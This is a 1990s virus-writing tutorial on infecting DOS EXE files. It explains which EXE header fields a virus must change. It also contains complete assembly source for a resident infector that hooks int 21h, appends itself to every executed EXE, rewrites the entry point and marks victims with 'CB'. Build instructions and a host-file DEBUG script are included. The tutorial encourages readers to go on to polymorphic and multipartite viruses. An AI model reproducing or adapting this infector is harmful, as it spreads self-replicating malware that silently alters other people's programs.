help 23 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486
  1. Lesson 4 Guide To EXE Infection By Horny Toad
  2. Now onto the 4th lesson, EXE file infection. Boy, the topics never seem to get any easier, do they? The difficult aspect of EXE infection is that there is no ONE technique
  3. to cover all forms of EXE infection. I will, therefore, keep to the basics in this tutorial and in later articles, address different techniques which you can use.
  4. What is an EXE file?
  5. One of the first things that we need to do is understand what an EXE file is and more importantly what it looks like. Quite simply, an EXE file is an improvement over the
  6. COM file format in that allows the program size to exceed one segment (64k). COM programs are limited to 64K, including 256 bytes for the PSP. EXE files, on the other
  7. hand can occupy a much larger space by using more than one segment. The limit on an EXE file's size is the amount of memory/hard drive space you have. There are
  8. other characteristics that differ between the EXE and COM formats. In a COM file, the stack is automatically defined, whereas, in an EXE file, you need to initialize it
  9. yourself. This is probably the single most difficult concept to grasp when writing EXE files, the stack. Care must be taken that you define the stack large enough to handle
  10. all of the push and pop instructions that your program will use. If your stack is to small, your program is sure to crash. The next difference in the two file formats is the
  11. initializing of data segment. In a COM file, the data segment is defined as an area within the code segment. Since a COM file only uses one segment anyway, the data,
  12. code, and stack segments can all fall right together. Very convienient right? Well, in an EXE file, after the program loader puts the file in memory, both DS and ES contain
  13. the address of the PSP! Remember that! Always remember to load the address of the data segment into ds when coding EXE files.
  14. At the heart of the EXE file format lies the EXE header. The EXE header is a minimum of 32 bytes that is used to describe a multitude of information about how the
  15. program needs to be loaded. Why I say that the header is the heart of the EXE file format, is that a virus which attacks EXE files, needs to utilize practically all of the
  16. information in the header. Therefore, pay attention so that you thoroughly understand this concept.
  17. Let's take a look at the EXE header format:
  18. The length of each element in the EXE header is 2 bytes (1 WORD). The descriptive names of each element in the header are the traditional names that have been used
  19. size the EXE file was created. You can give them whatever symbolic name you want to in you virus.
  20. EXE Header Format
  21. Offset Length Content Description
  22. -----------------------------------------------------------------------
  23. 0h 2 4Dh 5Ah EXE file signature "MZ"
  24. 2h 2 PartPag Length of last non-full
  25. page.
  26. 4h 2 PagCnt Length of program in 512
  27. byte pages
  28. 6h 2 ReloCnt Number of elements in
  29. the relocation table
  30. 8h 2 HdrSize Header length in
  31. paragraphs
  32. 0Ah 2 MinMem Minimum memory left in
  33. paragraphs.
  34. 0Ch 2 MaxMem Maximum memory left in
  35. paragraphs.
  36. 0Eh 2 ReloSS Segment correction for
  37. stack (SS)
  38. 10h 2 ExeSP Value of stack pointer
  39. (SP)
  40. 12h 2 ChkSum Checksum
  41. 14h 2 ExeIP Value of instruction
  42. pointer (IP)
  43. 16h 2 ReloCS Segment correction for
  44. CS
  45. 18h 2 TablOff Offset for the first
  46. relocation element
  47. 1Ah 2 Overlay Overlay number
  48. That looks very pretty, but how does it actually look? To tell you the truth, looking at the EXE header in DEBUG makes it look so much more simpler. The only catch is
  49. that you need to rename the extension to something other than ".EXE" in order to view the header. You can, if you know the exact program address, use the DEBUG L
  50. command to load a certain sector from a disk and then (D)isplay the contents of the sector. Nahh! Too complicated. Just rename the damn thing. Make sure that you have
  51. read Horny Toad & Opic's guide to disassembly and understand how to use DEBUG. I have included some sample files in this tutorial to give you some hands-on work
  52. with EXE files. One of the samples is a basic do-nothing EXE file. Let's say that I called this file someExe.exe. Below, I will display the contents of the someExe header.
  53. At a prompt, type:
  54. c:\>debug someExe.eww
  55. -d
  56. ??:0100 4D 5A 11 00 02 00 01 00-20 00 11 00 FF FF 02 00 MZ...... .......
  57. ??:0110 00 01 00 00 00 00 00 00-3E 00 00 00 01 00 FB 71 ........>......q
  58. ??:0120 6A 72 00 00 00 00 00 00-00 00 00 00 00 00 00 00 jr..............
  59. For an easier to read version of the same information, use SPo0ky's EXE header reader for the following results:
  60. EXE Signature ........................................ MZ
  61. Size of Last Page .................................... 0011
  62. Number of 512 byte pages in file ..................... 0002
  63. Number of Relocation Entries ......................... 0001
  64. Header size in Paragraphs ............................ 0020
  65. Minimum additional Memory required in paragraphs ..... 0011
  66. Maximum additional Memory required in paragraphs ..... FFFF
  67. Initial SS relative to start of file ................. 0002
  68. Initial SP ........................................... 0100
  69. Checksum (unused) .................................... 0000
  70. Initial IP ........................................... 0000
  71. Initial CS relative to start of file ................. 0000
  72. Offset within Header of Relocation Table ............. 003E
  73. Overlay Number ....................................... 0000
  74. Relocation Table Entries:
  75. 0000:0001
  76. However you choose to read the EXE header is fine. At this point, just make sure that you are aware of its existance. I have begun including the debug scripts of the
  77. programs that I use in the tutorial so that people who do not have access to the Codebreakers magazine can extract all of the sample programs from the tutorial with the
  78. help of debug. The debug usage differs slightly from the other tutorials, so make sure you read the instructions at the end of this file.
  79. Now, let's take a look at the individual contants of the EXE header and identify their function in the infection process.
  80. EXE signature
  81. The first word in the header is the traditional EXE file signature "MZ". These are the initials of Mark Zbikowski, the programmer who designed the EXE file format.
  82. Obviously, you already know from my last tutorial that you can use this unique signature to identify whether or not the file is of the EXE format.
  83. PartPag and PagCnt (need to be modified)
  84. PartPag and PagCnt make up the entire file size including header. PageCnt, as the name implies, is the length of the file expressed in 512 byte pages. PartPag is the
  85. amount of bytes that are on the last page of PageCnt. PartPag is expressed as length of the file mod 512. Mod. You better learn this concept now, because it will follow
  86. you on into higher programming languages such as C++.
  87. 5 % 2 = 1
  88. 5 / 2 = 2
  89. The mod (%) is the remainder left over after division has taken place in non-floating point numbers. Simple enough. PartPag and PagCnt will need to be modified to allow
  90. for the inclusion of you virus code.
  91. ReloCnt
  92. The next item in the header represents the number of items in the relocation table. What the hell is a relocation table? A relocation table contains two words
  93. (offset,segment) for each element in the program that needs to be adjusted to account for segment location. You can skip over this because you will not have to make any
  94. modifications here but...
  95. In the relocation table, both words are read and a relative segment address is computed by the sum of the loading segment address (usually PSP seg + 10h) and the
  96. segment address to the element that needs adjusting. The loading segment is then added to the element in memory at the relative segment address/offset.
  97. HdrSize
  98. The next element of the header is the header size. Quite self explanatory, the HdrSize holds the size of the header in 16-byte paragraphs. With the information that you
  99. have thus far seen, you can determine the actual bare program size with the equation:
  100. Size=((PagCnt*512)-(HdrSize*16))-(512-PartPag)
  101. You will also not have to fool with the header size.
  102. MinMem & MaxMem
  103. Shall we also have another obvious two contents: MinMem and MaxMem? These two values are used to allocate the amount of memory for the program.
  104. ReloSS & ExeSP (need to be modified)
  105. ReloSS and ExeSP are two items that need to be changed to account for the addition of code that you have just appended. ReloSS added with the starting segment
  106. address will give you your SS register.
  107. Checksum (should be modified)
  108. The Checksum item is the traditional place to store an infection marker.
  109. ReloCS & ExeIP (need to be modified)
  110. ReloCS is definitely an important item. The item stored here, along with the ExeIP, represents the beginning address to our virus code. This value will be initially saved
  111. from the host program so that it can be recalled and control returned back to the host.
  112. TablOff
  113. This is the offset to the first relocation element in the file.
  114. Overlay
  115. If this is the program main module, the value should be zero.
  116. Below is a simple resident EXE infector. I choose to include a resident virus rather then a direct action infector, because I believe that, if you can write a resident EXE
  117. infector, making it non-resident would be a piece of cake. One thing that I was considering to do was to follow the modular style of coding that I used in the last tutorial.
  118. One trend that I was seeing in many viruses was that people were simply copying the code. After Slam #4 was released, you have no idea how many EXE infectors
  119. started to hit the scene that were essentially a word for word copy. Whatever. In the end, I decided to include the virus below so that you can see everything working in
  120. one virus, rather than the modular style of instruction. I am not sure which way is better, so I will probably continue to switch back and forth between styles. Another thing,
  121. while I am in the preaching mode, from now on, I will not be explaining the most basic concepts of assembly. If you have been following along with the tutorials, you should
  122. understand every concept that is in this tutorial. Really, the only new aspect that you need to be aware of with EXE infection is that you need to change certain values in
  123. the header to accomodate your virus. You already know how to do this. In the beginning tutorials, you played around with elements of the DTA. Well, you are going to be
  124. doing the same thing with the header, reading it into a buffer and reading and modifying the values that I have pointed out above.
  125. .286
  126. virus segment
  127. assume cs:virus, ds:virus, es:virus
  128. jumps
  129. org 0CBh
  130. start:
  131. call delta ;Calculate delta offset
  132. delta:
  133. pop bp
  134. sub bp,offset delta
  135. push ds ;save PSP address
  136. push cs cs
  137. pop ds es
  138. mov ax,0CBCBh ;our "Codebreaker" residency check
  139. int 21h ;>what is CB?
  140. cmp bx,0C001h ;>C001!! :o)
  141. je restore ;its already resident
  142. pop ds
  143. push ds ;PSP address back into DS
  144. ;--------------------------------------------------
  145. mov ax,ds ;MCB residency
  146. dec ax ;For further clarification
  147. mov ds,ax ;read Codebreaker Tutorial 3
  148. sub word ptr ds:[3],40h
  149. sub word ptr ds:[12h],40h
  150. xor ax,ax
  151. mov ds,ax
  152. dec word ptr ds:[413h]
  153. mov ax,word ptr ds:[413h]
  154. shl ax,6
  155. mov es,ax
  156. push cs
  157. pop ds
  158. lea si,[bp+start]
  159. xor di,di
  160. mov cx,the_end - start
  161. rep movsb
  162. ;--------------------------------------------------
  163. xor ax,ax ;Setting of interrupts
  164. mov ds,ax ;For further clarification
  165. ;read Codebreaker Tutorial 3
  166. mov ax,es
  167. mov bx,new_int21h-start
  168. cli
  169. xchg bx,word ptr ds:[21h*4]
  170. xchg ax,word ptr ds:[21h*4+2]
  171. mov word ptr es:[old_int21h-start],bx
  172. mov word ptr es:[old_int21h+2-start],ax
  173. sti
  174. ;--------------------------------------------------
  175. push cs cs
  176. pop ds es
  177. mov ah,9 ;Warns the poor shmuck
  178. lea dx,[bp+message]
  179. int 21h
  180. restore: ;Control handed back
  181. lea si,[bp+old_ip] ;Restore orig IP
  182. lea di,[bp+original_ip]
  183. mov cx,4
  184. rep movsw
  185. ; Now for a clarification of the next four lines. At the beginning of
  186. ; the virus DS contains the address of the PSP. We now restore the
  187. ; address from the stack, place the address in ES. Then add 10h to
  188. ; skip over the PSP. Skip over the PSP(100h) with 10h? Sounds a little
  189. ; fishy, right? Well, remember that when you add 10h to AX, you are
  190. ; adding 10h segments. Each segment is 10h bytes, so 10h*10h=100h (PSP)
  191. pop ds
  192. mov ax,ds
  193. mov es,ax
  194. add ax,10h
  195. add word ptr cs:[bp+original_cs],ax ;Orig CS
  196. cli
  197. add ax,word ptr cs:[bp+original_ss] ;Orig SS
  198. mov ss,ax
  199. mov sp,word ptr cs:[bp+original_sp] ;Orig SP
  200. sti
  201. db 0eah ;jump to to it
  202. original_ip dw ? ;
  203. original_cs dw ?
  204. original_ss dw ?
  205. original_sp dw ?
  206. new_int21h: ;our int 21h handler
  207. pushf ;push the flags
  208. cmp ax,0CBCBh ;residency check
  209. jne no_install_check
  210. mov bx,0C001h ;already resident
  211. popf ;restore all flags
  212. iret ;return
  213. no_install_check:
  214. cmp ah,4bh ;check if execute
  215. je infect
  216. return:
  217. popf ;restore all flags
  218. db 0eah ;jmp to orig int 21h
  219. old_int21h dd ?
  220. infect:
  221. pusha ;only 286, saves all gen reg
  222. push ds
  223. push es
  224. call tsr_delta
  225. tsr_delta:
  226. pop bp ;a tsr delta offset %-)
  227. sub bp,offset tsr_delta
  228. mov ax,3d02h ;open file in DS:DX
  229. int 21h
  230. jc exit
  231. xchg ax,bx ;file handle to bx
  232. push cs cs
  233. pop ds es
  234. mov ah,3fh ;Read the target header
  235. lea dx,[bp+header] ;into our buffer
  236. mov cx,1ch
  237. int 21h
  238. cmp word ptr cs:[bp+header],'ZM' ;check if its an EXE
  239. je ok
  240. cmp word ptr cs:[bp+header],'MZ'
  241. je ok
  242. jmp close
  243. ok:
  244. cmp word ptr cs:[bp+header+12h],'BC' ;Checksum value checked for
  245. je close ;previous infection
  246. mov word ptr cs:[bp+header+12h],'BC' ;Mark it as infected
  247. mov ax,word ptr cs:[bp+header+14h] ;Save orig ExeIP
  248. mov word ptr cs:[bp+old_ip],ax ;Store in our buffer
  249. mov ax,word ptr cs:[bp+header+16h] ;Save orig ReloCS
  250. mov word ptr cs:[bp+old_cs],ax
  251. mov ax,word ptr cs:[bp+header+0eh] ;Save orig ReloSS
  252. mov word ptr cs:[bp+old_ss],ax
  253. mov ax,word ptr cs:[bp+header+10h] ;Save orig ExeSP
  254. mov word ptr cs:[bp+old_sp],ax
  255. mov ax,4202h ;Set pointer to end of file
  256. xor cx,cx
  257. xor dx,dx
  258. int 21h
  259. push ax dx ;Save EOF results
  260. ;Calculate new CS:IP, we set
  261. ;it to the EOF (this is where
  262. ;we will attach our virus)
  263. mov cx,16 ;Convert filesize into 16 byte
  264. div cx ;paragraphs
  265. sub ax,word ptr cs:[bp+header+8] ;Substract Header size from
  266. ;filesize to get the image
  267. ;(code/data) size.
  268. ;save:
  269. mov word ptr cs:[bp+header+14h],dx ;New ExeIP
  270. mov word ptr cs:[bp+header+16h],ax ;New ReloCS
  271. pop dx ax ;restore saved filesize
  272. add ax,the_end - start ;Add virus size to file size
  273. adc dx,0 ;Adds carry to DX
  274. mov cx,512 ;Calculate amount of pages
  275. div cx
  276. cmp dx,0
  277. je no_remainder
  278. inc ax ;if remainder, add 1
  279. no_remainder:
  280. mov word ptr cs:[bp+header+4],ax ;New PageCnt
  281. mov word ptr cs:[bp+header+2],dx ;New PartPag
  282. mov ah,40h ;write the virus to the EOF
  283. lea dx,[bp+start]
  284. mov cx,the_end - start
  285. int 21h
  286. mov ax,4200h ;Send pointer to beginning
  287. xor cx,cx
  288. xor dx,dx
  289. int 21h
  290. mov ah,40h ;Write the new header
  291. lea dx,[bp+header]
  292. mov cx,1ch
  293. int 21h
  294. mov al,7
  295. int 29h ; just a BEEEEEPPP
  296. close:
  297. mov ah,3eh ;close file
  298. int 21h
  299. exit:
  300. pop es
  301. pop ds
  302. popa
  303. jmp return
  304. old_ip dw offset exit_prog
  305. old_cs dw 0
  306. old_ss dw 0
  307. old_sp dw 0fffeh
  308. header db 1ch dup(?) ;Buffer for header
  309. message db 10,13,10,13
  310. db '- SPo0ky''s EXAMPLE TSR EXE infector for Horny Toad''s ''Guide To EXE Infection'' -',10,13
  311. db '- has been installed in your computers memory and will from now on infect any -',10,13
  312. db '- EXE file that you execute. -',10,13
  313. db '- You can use TBCLEAN (www.thunderbyte.com) to clean this virus. -',10,13,10,13
  314. db ' - www.codebreakers.org -',10,13,'$'
  315. the_end:
  316. exit_prog:
  317. mov ax,4c00h ;Request terminate program
  318. int 21h
  319. virus ends
  320. end start
  321. In order to see the above virus work. Cut the virus out of this file and save it in a file exevir.asm.
  322. At a prompt with TASM/TLINK in the same directory, type:
  323. c:\>tasm exevir.asm
  324. c:\>tlink exevir.obj
  325. Use the myexe.exe (below) as the host program. With both of the programs in the same directory, execute the virus, then execute the host program. If you look at the
  326. filesize using the (dir)ectory command, you will see that it has increased in length. Test this virus in a MSDOS box from windows and when you exit out of the MSDOS
  327. box, the virus will be gone. If you check the header now, you will be able to see the changes made after infection. Take a look at that beautiful "CB" infection marker.
  328. ??:0100 4D 5A 5A 01 03 00 01 00-20 00 11 00 FF FF 02 00 MZZ..... .......
  329. ??:0110 00 01 43 42 01 00 01 00-3E 00 00 00 01 00 FB 71 ..CB....>......q
  330. ??:0120 6A 72 00 00 00 00 00 00-00 00 00 00 00 00 00 00 jr..............
  331. To write the definitive guide to all forms of EXE infection, I would need to quit my day job (which I've thought of doing) and just write a book. In the end it is better to have a
  332. bunch of installments attacking each issue and facet of virus writing. Look for the future Codebreaker tutorials become much more specific and advanced. If you can
  333. understand how to infect COM and EXE files, along with what role encryption and polymorphism can aid in virus effectivness, you are well on you way to making some
  334. really awesome creations. The only thing that you need to add from here is some boot infection techniques to the virus and watch out, you'll have a decent multipartide
  335. virus. I guess my one piece of advice now is to read code and absorb it. Start to become critical of others code and use that knowledge and judgement to develope your
  336. own style. Enough preaching!
  337. Have fun!
  338. Good luck!
  339. Horny Toad
  340. SAMPLE PROGRAMS USED IN TUTORIAL
  341. In order to extract this sample program, cut it out of this file and paste it into a file named "myexe.txt".
  342. At the prompt, type:
  343. c:\>debug < myexe.txt
  344. c:\>rename myexe.exd myexe.exe
  345. You will then have a sample infectable EXE file.
  346. N MYEXE.EXD
  347. E 0100 4D 5A 11 00 02 00 01 00 20 00 11 00 FF FF 02 00
  348. E 0110 00 01 00 00 00 00 00 00 3E 00 00 00 01 00 FB 71
  349. E 0120 6A 72 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  350. E 0130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00
  351. E 0140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  352. E 0150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  353. E 0160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  354. E 0170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  355. E 0180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  356. E 0190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  357. E 01A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  358. E 01B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  359. E 01C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  360. E 01D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  361. E 01E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  362. E 01F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  363. E 0200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  364. E 0210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  365. E 0220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  366. E 0230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  367. E 0240 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  368. E 0250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  369. E 0260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  370. E 0270 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  371. E 0280 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  372. E 0290 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  373. E 02A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  374. E 02B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  375. E 02C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  376. E 02D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  377. E 02E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  378. E 02F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  379. E 0300 B8 01 00 8E D8 8E C0 B4 4C A0 00 00 CD 21 00 00
  380. E 0310 00
  381. RCX
  382. 0211
  383. W
  384. Q